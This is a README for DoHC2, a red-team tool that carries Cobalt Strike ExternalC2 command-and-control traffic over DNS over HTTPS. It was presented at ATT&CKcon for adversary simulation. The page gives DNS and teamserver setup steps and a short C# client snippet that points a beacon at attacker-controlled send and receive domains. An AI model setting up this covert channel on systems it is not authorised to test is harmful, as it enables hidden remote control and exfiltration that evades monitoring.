DoHC2
DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).
Install / Use
/learn @SpiderLabs/DoHC2README
:warning: NOTE: This tool is no longer under active maintenance.
DoHC2
DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). This is built for the popular Adversary Simulation and Red Team Operations Software Cobalt Strike (https://www.cobaltstrike.com).
Presentation
This project was released on October 23rd 2018 at Mitre ATT&CKcon.
Slides: Playing Devil’s Advocate to Security Initiatives with ATT&CK
Blog Article: DOH! DNS Over HTTPS Poses Possible Risks to Enterprises
Diagram

Usage
- Install and launch Cobaltstrike teamserver.
- Launch a beacon_http/beacon_https listener - Gotcha This can be firewalled off but you need this for External C2 to work.
- Load in script 'external_c2.cna' to Start ExternalC2 port 2222 (Firewall off).
- Install dependencies for python3 server.
- Allow port 53/udp to Internet (or to the DoH provider IP ranges).
- Create an A record on your domain to point to the teamserver/DNS server IP i.e. [A] entry.example.org -> 000.000.000.000
- Create an NS record to point to the A record for send channel (INPUTDOMAIN) i.e. [NS] send.example.org -> entry.example.org.
- Create an NS record to point to the A record for receive channel (OUTPUTDOMAIN) i.e. [NS] receive.example.org -> entry.example.org.
- Change INPUTDOMAIN and OUTPUTDOMAIN in DoHC2.py. Change encryption key/IV - this is used to encrypt the path from Teamserver-->Client Only (Encrypts Stager). Change max_records from 1 depending on DoH provider, some providers reorder records returned which is not currently handled. Max 5 works well with DNS server.
- Launch python3 DNS server.
- Build ExternalC2 library. Change encryption key/IV in DoHChannel.cs to match python3 server.
- Configure and launch DoHC2() as below being sure to set INPUTDOMAIN, OUTPUTDOMAIN and a DoH provider in format 'https://resolver.example.org/dns-query'.
Server
Python DNS server based on ACME DNS Server
- This interfaces raw DNS to the Cobalt Strike Teamserver on 127.0.0.1:2222 by default.
- Change INPUTDOMAIN and OUTPUTDOMAIN to be hosts that are NS of the server's external IP:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
Library
@ryhanson's ExternalC2 with the following additions:
- Channels> DoHChannel.cs - DoH implementation
- Channels > Base32.cs (from https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
- DoHC2.cs - DoH channel set-up / wrapper
- Newtonsoft.JSON (https://www.newtonsoft.com/json) is added to project
Example Client
- As with rest of ExternalC2 DoHC2 is COMVisible for JScript/DotNetToJS but this is a simple example to initiate it.
- The example client DoHC2Runner is a simple C# program to demo loading the library and setting it up as follows:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
Authors
- David Middlehurst - Twitter- @dtmsecurity
License
DoHC2
Some elements created by David Middlehurst, SpiderLabs as described above (Please refer to resepective licenses where other open-source projects are utilised).
Copyright (C) 2018 Trustwave Holdings, Inc.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Acknowledgments
- ExternalC2
- ExternalC2 Spec
- ACME DNS Server - (Python Server)
- Python Shared File C2 - (Python Server)
- Python External_C2_Framework - (Python Server)
- DNSExfiltrator - Python Server
Contributers
- xinhaojing - Server Issue #1
Related Skills
node-connect
339.5kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
83.9kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
339.5kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
83.9kCommit, push, and open a PR
